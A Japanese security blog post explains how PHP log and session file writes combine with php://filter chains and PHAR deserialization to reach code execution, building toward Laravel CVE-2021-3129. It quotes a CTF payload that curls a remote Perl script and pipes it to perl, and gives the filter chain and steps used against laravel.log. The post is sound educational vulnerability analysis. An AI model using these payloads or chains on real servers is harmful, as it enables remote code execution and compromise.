knqyf263's blog

自分のためのメモとして残しておくためのブログ。

PHPでログファイルへの読み書きを通して任意コード実行をする方法

以前少し話題になったLaravelのデバッグモード有効時の脆弱性であるCVE-2021-3129のPoCを読んでいたのですが、思ったより難しくて何でこんなことをしているんだろうと思ったら発見者による解説ブログがありました。読んでみたらバイパスのために思ったより色々していて普通に勉強になったのでメモを残しておきます。CTFerからすると常識な内容かもしれないので、何か間違いや補足があれば指摘をお願いします。

www.ambionics.io

前提知識1

上の脆弱性を理解するためにはいくつかの前提知識を必要とするため最初にまとめておきます。

まず、PHPでは外部から渡されたオブジェクトをデシリアライズすると条件によっては任意のPHPスクリプトが実行可能です。OWASP Top 10では「安全でないデシリアライゼーション」と呼ばれています。PHPに限った話ではないのですが、LaravelはPHPで書かれているため今回はPHPについてメインで説明しています。

github.com

安全でないデシリアライゼーション自体は昔から有名な脆弱性で、少し調べると解説記事がたくさん出てきます。そのうちの一つを貼っておきます。

blog.tokumaru.org

実際に任意のスクリプトを実行するためにはPOP (Property oriented programing)が必要になりますが、そこも本題ではないので省略します。調べたら解説が出てきますし、そういう攻撃を行うためのペイロードを作成するツールが存在するので、詳細は知らなくても何とかなります。

github.com

そしてPHPにはPHARというアーカイブフォーマットがあるのですが、PHPphar:// というストリームラッパーを使うとこのPHARファイルに対する読み書き操作が出来ます。以下の例のように http://file:// と同じように扱えます。 http:// はリモートファイルに対しての操作ですが、 phar:// はローカルファイルのみです。

file_get_contents("http://example.com/image.jpeg")

file_get_contents("file://../images/image.jpeg")

file_get_contents("phar://./archives/app.phar")

このPHARはJava Archive (JAR)のようにライブラリやアプリケーションを一つのファイルとして配るためのものです。このPHARにはStub, Manifest, File Contents, Signatureの4つが含まれていますが、このうちManifestの中にはメタデータが含まれており、シリアライズされた形で保存されています。つまり file_get_contents ('phar://./archives/app.phar') を呼ぶとapp.phar内のメタデータがデシリアライズされます。このメタデータを攻撃者が細工することで「安全でないデシリアライゼーション」に繋げることが出来るというのが大枠です。つまりPHARを攻撃者がアップロードすることができ、かつそれを phar:// ラッパーで読み込ませることが出来れば任意スクリプト実行に繋がる可能性があるということです。

この手法は自分が知る限りBlack Hat 2018で発表されたもので、ペーパーも理解しやすいのでもし知らなければ読んでみてください。当時話題になったのでセキュリティ業界では既に有名ですが、開発者では知らない人も多いと思います。

https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

この辺の解説もわかりやすいです。

pentest-tools.com

過去にブログ書いたつもりだったのですが、読むだけで満足して終わってたみたいなので元気があればこの攻撃手法についての解説も書きます。

ということで長くなりましたが、以下のような条件を満たしている場合に任意スクリプトの実行が可能です。

  1. サーバに任意のファイルを書き込める
  2. 書き込んだファイルを読み込ませることが出来る

この2つを満たした場合、

  1. サーバにPHARファイルを書き込む
  2. 書き込んだファイルを phar:// で読み込ませる

というステップを踏むことで攻撃に繋げることが出来ます。実際に任意のPHPスクリプトを実行するためには攻撃に使えそうなガジェットを探す必要がありますが、上記のPHPGGCが攻撃に使えるクラスを既にリストアップしてくれているので、任意スクリプト実行に繋がる可能性はそこそこ高いと思って良いのではないかと思います。何の話をしているか分からないという人は「安全でないでシリアライゼーション」の説明を読んでみてください。あと任意のPHPスクリプトが実行可能ということは任意のOSコマンドも実行可能です。

前提知識2

上の前提を読んで、サーバに任意のファイルを書き込むところ口がないから大丈夫と思う開発者もいるかも知れません。確かにアップロード機能等がなければ任意のファイルを書き込むのは簡単ではありません。ですが、ファイルの一部に攻撃ペイロードを書き込めれば残りの部分をうまく読み飛ばして、PHARの部分だけを読ませるという手法が存在します。ファイルの一部だけ制御可能というのはログファイルなどがイメージ付きやすいかと思います。ログファイルにはユーザから送られたクエリの値が書き込まれたりすることもありますし、ユーザから受け取った値によりエラーが起きたときはその値を含んだスタックトレースが吐かれることもあります。

ファイルの一部への書き込みを悪用した攻撃手法で有名なのが、以下のOrange TsaiさんによるCTFの問題です。こちらはログファイルではなくPHPのセッションファイルを使っています。大分前に読んだのにすっかり忘れていたので改めて簡単にまとめておきます。

blog.orange.tw

まず、以下のようなPHPファイルがサーバで動作しているとします。

<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

1行だけなので読むのは簡単です。orangeというパラメータの値をファイルとして読み込み、 @<?php で始まっている場合はそれを実行するという内容です。それ以外の場合はこのファイル自身を表示します。つまり、上で述べた条件の2は既に満たしています。今回はCTFの問題ということで phar:// を使ってデシリアライゼーション攻撃をしなくても include($_)でファイルを実行するようにしてくれています。CTFとしては何とかして include($_) で任意スクリプトを実行するというのがゴールです。

次にファイルへの書き込みですが、これは上述したようにセッションファイルを使っています。PHPではセッションの情報を一時的にファイルとして書き出すため、そこに攻撃コードをセットして読み込ませるというのが大まかな流れです。PHPの設定で session.auto_start がOffになっていると実際にはCookieでPHPSESSIDを送ってもファイルは作られないようですが、 PHP_SESSION_UPLOAD_PROGRESS をマルチパートで送るとPHPは自動的にセッションを有効にしてくれるそうです。

上記ブログからそのまま引用しておきます。

$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'  -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange

自分でも試してみたのですが、Dockerで作ったせいか session.save_path/var/lib/php/sessionsではなく /tmp になっていたので最初セッションファイルが見つからず少し焦りました。環境を用意したので他に試したい方がいたらどうぞ。

github.com

このセッションファイルの中身を見てみます。まずファイル名のサフィックスが PHPSESSID の値になっています(この例ではiamorange)。

root@b4fc2e6f0d2a:/var/www/html# cat /tmp/sess_iamorange
upload_progress_blahblahblah|a:5:{s:10:"start_time";i:1633722789;s:14:"content_length";i:7956;s:15:"bytes_processed";i:7956;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpTqucMR";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1633722789;s:15:"bytes_processed";i:7630;}}}

そして中身を見ると upload_progress_ のあとに PHP_SESSION_UPLOAD_PROGRESS で渡した値が書き込まれていることが分かります(この例だとblahblahblah)。つまりこのパラメータに攻撃コードを仕込めばセッションファイルに書き込めるということです。

上記ではセッションファイルの中身を見てみましょうと気軽に言いましたが、実際には session.upload_progress.cleanup がデフォルトでOnになっているためリクエストが終わると即座にセッションファイルの中身は消されてしまいます。つまりこのファイルを読み込ませるためには書き込み用のリクエストと読み込み用のリクエストを同時に大量に送ってレースコンディションを引き起こす必要があります。または、大きいファイルを送ってセッションを維持したままにするという方法もあります。上では一旦cleanupをOffにして中身を確認しています。

これで任意の値をファイルに書き込むことが出来るようになったわけですが、前後にゴミがついているため細工したPHARを書き込んだとしてもファイル全体として見るとPHARとして有効ではありません。このCTFの問題として見た場合でも、ファイルの先頭は @<?php でなければならないため、 upload_progress_ のせいでファイルは実行されません。

ここで、 php:// ストリームラッパーを使います。どういうラッパーなのかについては調べてくださっている記事があったので詳細はそちらを参照してください。

www.ryotosaito.com

特に重要なのは php://filter です。ファイルを読み込む際にBase64デコードしてから読み込む、といった処理が可能です。以下のような形式になります。

php://filter/[FILTER_A]/.../resource=/tmp/sess_xxxxx

これはresourceとして指定したファイルに対してfilterを適用するという意味になります。filterは複数指定可能です。さらに読み込みだけでなく書き込み時のフィルターも可能ですし、Base64以外の様々な処理も可能です。他の処理については後ほど本題で触れますが、ここではBase64について触れます。

上のfilterで convert.base64-decode を使うとBase64デコードが出来るのですが、何と都合が良いことにBase64として無効な文字は無視してくれます。試してみましょう。

まずは普通のBase64です。一旦ファイルにエンコードしたものを書き込んで php://filter でデコードします。 read= にすると読み込み時のみfilterが適用されます。

$ echo test | base64 > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > $contents = file_get_contents($f);
php > echo($contents);
test

確かにtestが出力されました。では次に前後にBase64として無効なゴミを入れてみます。

$ echo test | base64
dGVzdAo=
$ echo ':;.!!!!!dGVzdAo=:;.!!!!!' > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > $contents = file_get_contents($f);
php > echo($contents);
test

ということで問題なくデコードできています。記号などのBase64の64文字に入らないような無効な文字はスキップしてくれるため、何回かBase64デコードすればほとんどは無効な文字列となります。つまり upload_progress_Base64エンコードされた値ではないため、何回かデコードすることで無効な文字列となり、それらをスキップしてその後の自分の書き込んだ文字列だけうまく読み込ませることが出来ます。

以下の文字列を実行したいとします。

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

まずこれをBase64します。

$ echo '@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////' | base64
QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

この文字列に upload_stream_プレフィックスとして付与したものをデコードしてみます。

$ echo upload_progress_QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > echo file_get_contents($f);
hik
޲7W&&vRGrr&2W&

PHPスクリプトが現れなくてはいけないはずなのに、デコード結果は元々の文字列と異なってしまっています。これはBase64は6ビットずつにしていくため、プレフィックス部分がうまく8ビットの倍数になってくれないとデコードの区切りがずれてしまう、アラインメントがおかしくなってしまうためです。 upload_progress_ は16文字なので96ビットになって良さそうに見えますが、 _ は無効な文字であり無視されます。そうすると14文字なので84ビットになって割り切れなくなります。そうすると先頭のQDの12ビットを足して96ビットになってしまい、元々の文字列に戻ってくれません。そのため、文字数を合わせるためにパディングをする必要があります。12ビット足りないので上記ブログに習ってZZを足してみます。ここはどうせ無視されるのでBase64として有効なら何でも良いはずです。複数のデコードでうまく消えてくれるような文字列である必要はあります。

$ echo upload_progress_ZZQDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8vCg== > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > echo file_get_contents($f);
hik
޲Y@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

今回は確かに最初にエンコードした文字列が現れてくれています。しかし、hikYなどBase64としても有効な文字列が一部残ってしまっています。これが複数回Base64を必要とする理由です。今回は3回のデコードで先頭のゴミが消せるようなのでやってみます。ちなみにサフィクスについては上のスクリプトで分かるようにコメントアウトしているため、3回のデコード後にゴミが残ったとしてもスクリプトには影響を与えないので問題ありません。そもそも<?php ?>でちゃんと閉じているので問題ないはずですが。

上のスクリプトを3回Base64エンコードすると以下になります。

$ echo -n '@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////' | base64 -w0
QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v
$ echo -n 'QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v' | base64 -w0
UUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2
echo -n 'UUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2' | base64 -w0
VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy

これにupload_progress(とpadding)のprefixを付けて一度 convert.base64-decode すると以下になります。

��hi�k� ޲�YUUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2

一度デコードしたらUUR3から始まるはずなので、やはり先頭にまだ hikY のゴミが残っています。印字できない部分などは次の convert.base64-decode で無視してくれるため2回目のデコードは hikYUU3L... の箇所が対象になります。

2回目のデコード結果は以下です。

) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

QDw/c から始まる文字列がエンコードした値なので、それより前には無効な文字列しかなくなりました。つまりもう一度デコードすると QDw/c の箇所がデコードされます。

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

ということで無事に元々のスクリプトに戻りました。つまり最終的には以下のような値をファイル名として渡します。

php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_iamorange

単に3回Base64デコードしているだけです。自分の環境に合わせて /tmp/sess_ にしていますが、別環境では /var/lib/php/sessions/sess_ かもしれません。

正解スクリプトについても公開してくれています。上でも説明したようにすぐにセッションが消えてしまうため2つのリクエストを飛ばしてrace conditionを起こす必要があります。自分でも試しましたがタイミングはあまりシビアではなくほぼ成功します。

github.com

あとは PHP_SESSION_UPLOAD_PROGRESS としてBase64を3回したペイロードを渡しています。これがセッションファイルに書き込まれます。そのファイルが存在しているタイミングでうまく php:// ラッパーのリクエストが到達すれば、攻撃が成功します。

本題

改めて見返すと前提長くない...?という感じですが、ようやく本題です。上のCTFの問題で公開された手法によって攻撃条件が緩和しました。ファイル全体を制御できていなくても、ファイルの一部書き込めてそのファイルを php:// で読み取って書き込めれば攻撃が成立します。

  1. サーバ上のファイルの一部でも良いから任意の文字列を書き込める
  2. そのファイルに対して php:// ラッパーを用いて読み書きができる
  3. 2で上書きしたファイルを phar:// で読み込ませることが出来る

そして実際Laravelではこれを満たすことが出来る状態でした。Larvel固有の話はまた別途ブログにしようと思うので今回は省略しますが、3つの条件を満たしているにも関わらず攻撃が成立しなかったため色々な制約をバイパスして攻撃を成立させたというのがCVE-2021-3129になります。CTFの問題を現実の攻撃に昇華させているというのが面白いなと思います。

長くなったので改めて解説のブログを貼っておきます。脆弱性としてはデバッグモードが有効でないと刺さらないので、ちゃんと本番では無効にしましょうという話で終わりです。もちろんバージョンを上げても直ります。危険な脆弱性であると言うよりはその詳細が面白かったという話です。

www.ambionics.io

基本的に上のブログで説明されている内容になりますが、実際に試して理解した内容を自分の言葉で書き直しています。そうしておくと自分が将来見直した時に理解しやすいからですが、一次ソースを当たりたい方は上のブログを参照してください。

まず、LaravelはデフォルトでPHPのエラーとスタックトレースをログファイルに出力します。さらにLaravel(正確には内部で使われているIgnition)ではリクエストで受け取ったファイル名に対して操作を加える機能があります。この時、存在しないファイル(今回の例ではSOME_TEXT_OF_OUR_CHOICE)を受け取ると以下のようなエラーが出力されます。単なるNo such file or directoryです。

[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}

エラーメッセージの中にファイル名が出力されていることが分かります。このファイル名は攻撃者が制御可能なパラメータであるため、ログファイルに任意の文字列を書き込めることになります。これで条件1が成立しています。

次に条件2なのですが、デバッグモードを有効にしていると使われるライブラリのIgnition内に以下のような処理がありました。実際には当然前後で色々やっていますが簡素化しています。

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

つまりユーザから受け取ったパラメータを file_get_contents に渡し、それで得た値を再度 file_put_contents を使って書き戻しています。普通だとただそのままの値になるわけですが、 php:// ラッパーを使うことでBase64エンコード・デコードなどの処理を挟ませることが出来ます。 php:// で好きな文字列を書き込んだりは出来ないのでファイル全体の制御はできないのですが、うまくfilterを使えば上のOrangeさんのテクニックで好きな値を書き戻せます。つまりPHARとなるように書き戻してあげればOKです。

そして条件の3ですが、上と同じで受け取ったパラメータを file_get_contents に渡してくれるので phar:// で書き戻したファイルを指定するだけです。今回の例ではログファイルになります。

ということはこの時点で理論的には任意コード実行が成立するはずです。しかし、多くの理由でそれは成立しませんでした。

問題点

= によるエラー

上の解説では convert.base64-decode は無効な文字列を無視すると言いましたが実は例外があります。それが = です。本来は最後にパディングとして入れるBase64における65文字目の存在ですが、これが最後ではなく文字列の途中にあるとエラーになります。

試してみます。適当にエンコードした文字列の間に = を挟んでみます。

root@b4fc2e6f0d2a:/var/www/html# echo test | base64
dGVzdAo=
root@b4fc2e6f0d2a:/var/www/html# echo dGV=zdAo= > /tmp/test
root@b4fc2e6f0d2a:/var/www/html# php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > echo file_get_contents($f);
PHP Warning:  file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in php shell code on line 1

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in php shell code on line 1

エラーが出ました(実際にはWarningですが)。つまりデコードを複数回する中で、偶然 = が文字列中に現れると失敗するということです。もしファイル内の文字列全体を制御できるなら = が出ないようにすれば良いので問題ないのですが、今回のような例ではファイル名の前には日付などのプレフィックスがありますし、ファイル名の後ろには長いスタックトレースがあるためこれらの中に = が含まれてしまう可能性は高いです。さらにファイル名も2回出力されています。

ちなみにこの = がデコード文字列内に現れると困るよね、という話は既知だったようでOrangeさんのブログでは触れられていませんがスクリプト内ではペイロード= が含まれないようになるまで作り直す処理が入っていたりします。

My-CTF-Web-Challenges/exp_for_php.py at ece9c25c9f1dba65cce5a12a8fc174652fa352e6 · orangetw/My-CTF-Web-Challenges · GitHub

日付のデコード

今回はファイル名の前に日付と時刻があります。そして当然時刻はログが出力されるタイミングによって異なります。厄介なことに日付は2回デコードした場合に長さが異なる場合があります。

php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"

下の例では2回デコード後の結果が 2 になっています。もう1回デコードすれば消えるんじゃないの?と思うかもしれませんが、先程ZZのパディングの例でも話したように 2 が先頭につくとアラインメントがずれてしまいます。つまりその後は何回デコードしても本来の文字列はもう出てきてくれません。

ログファイル内の他エントリ

先程のPHPセッションの例とは異なり、ログファイルは1エントリのみ書かれているわけではありません。つまり前後に他のエントリがあるとデコードは高確率で失敗します。

バイパス方法

実際に発見者が直面した問題点について説明してきましたが、ここではそのバイパス方法について説明します。その前にまずログのフォーマットを整理します。

[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

という形式になっています。そして上述したように対象のログエントリの前にもエントリは存在します。そして同じエントリ内にPAYLOADは2回出現しています。このPAYLOADの部分だけをうまく取り出すのがゴールです。

consumedの利用

上述したように、Ignitionではラッパーを含むURLを受け取ったらそれをファイルの読み取りと書き込みの両方で使っています。つまり php:// ラッパーでできる範囲であればファイルの改竄が可能ということです。そして php:// で使えるフィルタの中に consumed というものが存在します。PHPの公式ドキュメントですら説明を見つける事ができなかったのですが、入力(または出力)をクリアしてくれるようです(ドキュメント見つけられなかったので正しいか不安)。

php://filter/read=consumed/resource=/path/to/file.txt

つまり consumed フィルタを使ってログファイルを読み取れば、空にして書き戻してくれるのでログファイルをクリアできる...ということだと思います。違っていたらすみません。他にも大量にリクエストを送ることでログのローテーションを起こさせてログファイルを綺麗な状態にする方法もあるようですが、1回あたりの試行に時間がかかりますしログファイルがクリアされるタイミングもシビアな気がします。

とりあえず consumed を使うことで前後のログエントリ問題は解決です。攻撃前に一度ログファイルをクリアすれば済みます。

iconvの利用

次に = 問題を見ていきます。 php:// ので使えるfilterの中に iconv も存在しています。これはちゃんとドキュメントも見つかりました。

www.php.net

上のドキュメント内の例を引用します。

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
/* 出力: This is a test. */
?>

このようにエンコーディングの変換ができます。Base64のときと同じ考え方で、自分たちの書き込むPAYLOADはエンコーディングの変換に適した形にしてあげることで、prefixやsuffixはASCII外の文字列に変換することが出来ます。見たほうが早いと思うのでやってみます。

$ echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test
$ php -a -q
Interactive shell

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test');
卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠

素晴らしい結果です。PAYLOADだけが正常な値になって、それ以外はBase64として無効な値になっています。つまり邪魔なprefixやsuffixを一気に排除できます。

ちなみに iconv を使ったバイパス方法はCTFでも出されているようなので、こちらも有名なテクニックなのかもしれません。自分はCTFやってなくて知らなかったのでなるほどなーとなりました。

gynvael.coldwind.pl

パディングの利用

もう一つの問題点はPAYLOADが2回表示されている点です。最終的にPHARとして有効な形にする必要があるため、2回繰り返されると困ります。そのため2回目は除去する必要があります。しかしこれはUTF-16が2バイトであることを考慮すると簡単に解決できます(一部4バイトですがいずれにせよ偶数なので今回は影響なし)。つまりPAYLOADの最後に1バイトだけ足すことで2つのPAYLOADの間のサイズを奇数バイトにします。ただこれ元々midfixが奇数バイトなら不要な気がしますが、その辺りの説明はなかったので理解が正しいか若干不安です。

root@b4fc2e6f0d2a:/var/www/html# echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test
root@b4fc2e6f0d2a:/var/www/html# php -a
Interactive shell

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test');
卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠

この例では [midfix] は8バイトなので1バイト足すことで2個目のPAYLOADのアラインメントがずれASCII文字ではなくなります。これの素晴らしい点は、仮にprefixが奇数だとしたら逆に2つめのPAYLOADのアラインメントが正しくなるという点です。つまりprefixの偶奇によらず片方だけがうまくデコードされます。

あとはもはや恒例のBase64が無効な文字を無視してくれる機能を組み合わせれば狙った文字列だけ残してデコードできます。Base64エンコードした文字列の各文字の後ろに\0を足すだけです。それをエンコーディング変換してBase64デコードすればOKです。

$ echo -n TEST! | base64 | sed -E 's/./\0\\0/g'
V\0E\0V\0T\0V\0C\0E\0=\0
$ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test
$ php -a
Interactive shell

php echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test');
TEST!

UTF-16のための調整

UTF-16が2バイトの倍数である必要があることを考えると、ログエントリ全体のサイズが2バイトの倍数じゃない場合はどうなるでしょうか?prefixに1バイト足して全体を奇数バイトにして確認します。

root@b4fc2e6f0d2a:/var/www/html# echo -ne '![Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test
root@b4fc2e6f0d2a:/var/www/html# php -a
Interactive shell

php echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test');
PHP Warning:  file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1

Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1
TEST!

Warningが出ています。発見者ブログではこれが問題だと言っていたのですが、自分の環境ではWarning出てもそれ以外の箇所はうまくデコードできていました。php.iniでstrict的な設定を入れていると失敗するのかもしれません。一応この問題への対策もブログ内で触れられています。それはエントリを2つ作ることです。

[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]

このように2回リクエストを送るとエントリが2つになりますが、prefix, midfix, suffixは2回ずつ現れていてPAYLOAD_AとPAYLOAD_Bも2回ずつ現れているので全体は必ず偶数になります。PAYLOAD_AはBase64デコードで消えてほしいので適当にAAとかを送っておいて、PALOAD_Bの方をPHARになるようなペイロードにします。

個人的にはPAYLOAD異なるしmidfixやsuffixが異なる可能性ないの...?と思ったのですが、同じ箇所で落ちるのでエラーメッセージやスタックトレースも同じになるということかなと理解しています。試した感じは確かに同じになっていそうでした。いずれにせよこれで全体のサイズを偶数にすることが出来ました。

NULLバイトの回避

そして最後の問題としてNULLバイトが入っているファイルをロードすると失敗するという点を挙げています。これは少しややこしいですが、 php:// ラッパーでの処理時の話ではなくログに書き込む際の話です。存在しないファイルとしてログファイル内にエラーを出して欲しいのにNULLのせいで失敗し、目的のエラー箇所まで到達しないということだと思います。つまり異なるエラーメッセージになります。

php > $filename = "[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]";
php > file_get_contents($filename);
PHP Warning:  file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

上でログファイルに任意の文字列を書き込めると言いましたが実際には正しくなくて、NULL以外の任意の文字列が書き込める状態でした。発見者はここでもfilterを活用しています。 covert.quoted-printable です。ドキュメントもあります。

www.php.net

RFC2045の仕様に従ってエンコード・デコードをしてくれます。例が分かりやすいです。改行などの印字可能でない文字を = に続けて16進数を書くことで印字可能文字で表現できるようにしてくれるようです。

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Outputs:  =This is a test.=0A  */
?>

一応RFCを貼っておきます。6.7 Quoted-Printable Content-Transfer-Encodingの箇所だと思います。

datatracker.ietf.org

これを使うことでNULLバイトは =00 で表現できるようになり、NULLバイトを使う必要はなくなります。

最終形

上で述べたバイパス方法のうちfilterに関するものをまとめると

  1. convert.quoted-printable-decode でNULL文字の制限をバイパスする
  2. convert.iconv.utf-16le.utf-8 を使ってペイロード以外のゴミをBase64として無効な文字列にする
  3. convert.base64-decode を使って2で無効にした文字列を無視する

という流れになります。filterは以下のようになります。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

ペイロード側の工夫としては以下になります。

  • 2回現れるペイロードのうち片方のアラインメントがずれるようにペイロードの最後に1バイト足す
  • UTF16として正しい値にするためにバイト数を2の倍数にする必要があるので、正常なリクエストと異常なリクエストを1つずつ送ってバイト数を偶数にする

ペイロードの詳細はCVE-2021-3129の解説記事で書こうと思うためここでは述べませんが、

  1. PHPGGCを使ってデシリアライズで攻撃が刺さるようなPHARを作る
  2. それをBase64してUTF-16に変換し、RFC2045に沿ってエンコードする
  3. そのペイロードをファイル名として送りつけログファイルに書き込ませる
  4. php:// を使ってPHARの前後にあるゴミを取り除きログファイルに書き戻す
  5. 4によってログファイルはPHARになっているため、 phar://を使って読み込む
  6. Metadataのデシリアライズにより攻撃が刺さる

という流れです。

まとめ

ペイロードの工夫の箇所はLaravel固有のものがあるかもしれませんが、filterの工夫の箇所は他でも応用が効くと思ったので紹介しました。実際一部のテクニックはCTFで出題されていました。CTFのテクニックが実際の脆弱性に応用されているのも面白いですし、現実の脆弱性はそれに加えて泥臭い工夫が色々必要になるというのがよく分かる攻撃方法でもあって個人的にはかなり好きです。

